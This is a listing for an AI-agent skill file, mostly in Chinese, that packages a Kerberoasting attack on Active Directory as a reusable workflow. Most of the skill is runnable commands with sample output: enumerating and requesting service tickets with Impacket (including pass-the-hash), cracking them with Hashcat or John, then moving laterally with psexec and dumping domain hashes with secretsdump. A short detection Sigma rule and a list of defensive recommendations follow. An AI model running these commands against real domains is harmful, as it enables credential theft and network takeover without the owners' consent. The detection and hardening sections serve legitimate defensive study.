exploiting-kerberoasting-with-impacket
使用 Impacket 的 GetUserSPNs 执行 Kerberoasting 攻击,提取并破解活动目录服务账户的 Kerberos TGS 票据。
Best use case
exploiting-kerberoasting-with-impacket is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
使用 Impacket 的 GetUserSPNs 执行 Kerberoasting 攻击,提取并破解活动目录服务账户的 Kerberos TGS 票据。
Teams using exploiting-kerberoasting-with-impacket should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-kerberoasting-with-impacket/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-kerberoasting-with-impacket Compares
| Feature / Agent | exploiting-kerberoasting-with-impacket | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
使用 Impacket 的 GetUserSPNs 执行 Kerberoasting 攻击,提取并破解活动目录服务账户的 Kerberos TGS 票据。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 使用 Impacket 执行 Kerberoasting 攻击
## 概述
Kerberoasting(MITRE ATT&CK T1558.003)是一种凭据访问技术,通过为具有服务主体名称(SPN)的账户请求 Kerberos TGS(票据授予服务)票据来针对活动目录服务账户。TGS 票据使用服务账户的 NTLM 哈希(RC4 或 AES)加密,可进行离线暴力破解。Impacket 的 `GetUserSPNs.py` 是在 Linux 上执行 Kerberoasting 攻击的标准工具。
## 前置条件
- 有效的域凭据(任何域用户都可以请求 TGS 票据)
- 到域控制器的网络访问(TCP/88 Kerberos、TCP/389 LDAP)
- 已安装 Impacket(`pip install impacket`)
- 用于离线破解的 Hashcat 或 John the Ripper
- 词典文件(如 rockyou.txt、SecLists)
## MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1558.003 | 窃取或伪造 Kerberos 票据:Kerberoasting | 凭据访问 |
| T1087.002 | 账户发现:域账户 | 发现 |
| T1110.002 | 暴力破解:密码破解 | 凭据访问 |
## 步骤一:枚举 Kerberoastable 账户
```bash
# 列出所有具有 SPN 的用户账户(不请求票据)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
# 输出示例:
# ServicePrincipalName Name MemberOf PasswordLastSet
# ---------------------------- ---------- -------------------------------- -------------------
# MSSQLSvc/SQL01.corp.local svc_sql CN=Domain Admins,CN=Users,... 2023-01-15 10:30:22
# HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,... 2024-03-20 14:15:00
# HOST/backup01.corp.local svc_backup CN=Backup Operators,CN=Users,... 2022-06-01 08:45:10
```
## 步骤二:请求 TGS 票据
```bash
# 为所有 Kerberoastable 账户请求 TGS 票据
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# 为特定 SPN 请求票据
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request-user svc_sql
# 输出格式(与 Hashcat 兼容):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...
# 保存到文件用于破解
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
# 使用 NTLM 哈希代替密码(哈希传递)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
-dc-ip 10.10.10.1 -request -outputfile hashes.txt
# 请求 AES 票据(如果可用)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile hashes.txt
```
## 步骤三:离线破解 TGS 票据
```bash
# Hashcat - RC4 加密票据(模式 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Hashcat - AES-256 加密票据(模式 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# 查看结果
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!
```
## 步骤四:验证并使用破解的凭据
```bash
# 验证破解的凭据
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
# 检查本地管理员访问权限
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
# 使用凭据进行横向移动
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
# 如果服务账户是域管理员
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm
```
## 替代工具
### Rubeus(Windows)
```powershell
# 对所有账户执行 Kerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.txt
# 针对特定用户
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
# 仅请求 RC4 票据(更容易破解)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# 使用 AES 执行 Kerberoasting
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
```
### PowerView(PowerShell)
```powershell
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt
```
## 定向 Kerberoasting
Kerberoasting 的高价值目标:
| 账户类型 | 原因 | 风险 |
|---|---|---|
| 域管理员中的服务账户 | 直接通往域入侵的路径 | 严重 |
| SQL 服务账户(MSSQLSvc) | 通常具有过多权限 | 高 |
| Exchange 服务账户 | 可访问所有邮件 | 高 |
| AdminCount=1 的账户 | 之前/当前具有特权 | 高 |
| 密码过旧的账户 | 更可能使用弱密码 | 中 |
## 检测
### Windows 事件日志
```
事件 ID 4769 - Kerberos 服务票据请求
- 监控:当预期为 AES 时使用加密类型 0x17(RC4-HMAC)
- 监控:单个用户在短时间内请求大量 TGS 票据
- 监控:来自异常源 IP 的服务票据请求
```
### Sigma 规则
```yaml
title: 潜在的 Kerberoasting 活动
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4
ServiceName|endswith: '$'
filter:
ServiceName: 'krbtgt'
condition: selection and not filter
level: medium
tags:
- attack.credential_access
- attack.t1558.003
```
## 防御建议
1. **使用组托管服务账户(gMSA)** - 240 字符随机密码,自动轮换
2. 为所有服务账户**设置强密码(25 个字符以上)**
3. **仅启用 AES 加密** - 通过 GPO 禁用 RC4
4. **监控事件 ID 4769** 中的 RC4 TGS 请求
5. 在无法使用 gMSA 的地方**实施托管服务账户**
6. **定期审计** - 运行 BloodHound 识别 Kerberoastable 账户
7. **受保护用户组** - 将敏感服务账户添加进去
8. **蜜罐 SPN** - 创建带有 SPN 的诱饵账户以检测攻击
## 参考资料
- MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
- Impacket: https://github.com/fortra/impacket
- Harmj0y 的 Kerberoasting 重访: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
- 检测策略 DET0157: https://attack.mitre.org/detectionstrategies/DET0157/Related Skills
performing-kerberoasting-attack
Kerberoasting 是一种后渗透技术,通过为设置了服务主体名称(SPN)的账户请求 Kerberos TGS 票据来针对活动目录中的服务账户。这些票据用服务账户的 NTLM 哈希加密,允许在不产生登录失败事件的情况下进行离线暴力破解。
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
exploiting-websocket-vulnerabilities
在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。
exploiting-vulnerabilities-with-metasploit-framework
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
exploiting-type-juggling-vulnerabilities
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
exploiting-template-injection-vulnerabilities
检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。
exploiting-sql-injection-with-sqlmap
在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。
exploiting-sql-injection-vulnerabilities
在授权渗透测试中,使用手动技术和 sqlmap 等自动化工具识别并利用 Web 应用程序中的 SQL 注入漏洞。测试人员通过基于错误、基于联合、布尔盲注和时间盲注技术,在所有主要数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle)中检测注入点,以演示数据提取、认证绕过和潜在的远程代码执行。
exploiting-smb-vulnerabilities-with-metasploit
在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。
exploiting-server-side-request-forgery
在授权渗透测试中识别并利用 SSRF 漏洞,访问内部服务、云元数据及受限网络资源。
exploiting-race-condition-vulnerabilities
使用 Turbo Intruder 的单包攻击技术检测并利用 Web 应用程序中的竞态条件漏洞,绕过速率限制、重复交易以及利用检查时间与使用时间(TOCTOU)缺陷。
exploiting-prototype-pollution-in-javascript
检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞,通过属性注入实现 XSS、RCE 和身份验证绕过。